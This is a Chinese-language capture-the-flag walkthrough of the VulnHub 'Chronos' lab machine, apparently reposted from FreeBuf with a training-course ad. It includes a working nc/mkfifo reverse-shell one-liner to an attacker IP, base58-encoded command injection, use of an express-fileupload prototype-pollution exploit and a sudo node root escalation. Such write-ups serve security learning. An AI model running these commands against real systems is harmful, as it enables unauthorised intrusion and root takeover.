网安教育
培养网络安全人才
技术交流、学习咨询
靶机下载地址:https://www.vulnhub.com/entry/chronos-1,735/
靶机介绍:
Description
Difficulty : medium
This works better with VirtualBox rather than VMware。
靶机IP:10.8.1.251
扫描靶机信息,发现开放了22、25、80、110、8000端口
访问web80和8000端口,都没有什么可利用的
查看源码,发现可疑的url,
http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
将chronos.local添加到/etc/hosts下正常解析
再次访问80网站,4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL这一串应该是日期命令
http://chronos.local:8000/date?format=ls,将format后边随便加个ls,报错,非base58字符
那就用base解密一下4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL,日期命令
在web80端口利用burpsuite抓包,这里有2个包,一个是OPTIONS的包是80端口的先放过去,然后会有一个GET的向chronos.local:8000发送的请求包,发现User-Agent: Chronos和OPIIONS包的不同,执行pwd命令,用base58加密得到5JeBr9q,运行后成功返回当前目录为/opt/chronos。
查看下/etc/passwd,成功执行,只有一个imera用户
利用nc 反弹shell,rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.8.1.169 1234 >/tmp/f经过base58加密得到2gxfnU3zJpKCbHYT5fzvYdqM2TL9waXViedX88Z8vgmKyvFDw7fCgTnFfh8qwVeVw6NkvRhjRzq3iDgmko7c7TeM5AksHZV6oe5,直接添加在format=之后运行就可以。
本机开启监听,执行后反弹成功。
python -c 'import pty;pty.spawn("/bin/bash")'升级下shell,在/opt目录又发现个chronos-v2目录,backend目录,依次查看
express-fileupload文件上传,在本地监听了8080端口
查找express-fileupload漏洞,CVE-2020-7699,ejs模板引擎存在一个利用原型污染,进行RCE
在https://blog.p6.is/Real-World-JS-1/得到利用代码
已经得到靶机监听的是本地8080端口,更改一下代码,写入到shell.py
本地开启python -m http.server 80,靶机下载shell.py到/tmp下
本地开启监听,靶机给shell.py赋权,执行,成功反弹连接
进到/home/imera下,查看user.txt,得到flag:byBjaHJvbm.9zIHBlcm5hZWkgZmlsZSBtb3UK。
习惯性sudo -l,发现可以不需要密码执行/usr/local/bin/npm *和/usr/local/bin/node *
python -c 'import pty;pty.spawn("/bin/bash")'先升级下shell,尝试了npm无法提权,那就用node提权
直接执行sudo node -e 'child_process.spawn("/bin/sh", {stdio: [0, 1, 2]})',得到root权限,拿到flag:YXBvcHNlIHNpb3BpIG1hemV1b3VtZSBvbmVpcmEK。
文:hailong86
原文链接:https://www.freebuf.com/articles/web/337843.html
版权声明:著作权归作者所有。如有侵权请联系删除
战疫期间,开源聚合网络安全基础班、实战班线上全面开启,学网络安全技术、升职加薪……有兴趣的可以加入开源聚合网安大家庭,一起学习、一起成长,考证书求职加分、升级加薪,有兴趣的可以咨询客服小姐姐哦!
加QQ(1005989737)找小姐姐私聊哦
原文始发于微信公众号(开源聚合网络空间安全研究院):实战学习之Chronos靶机渗透
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论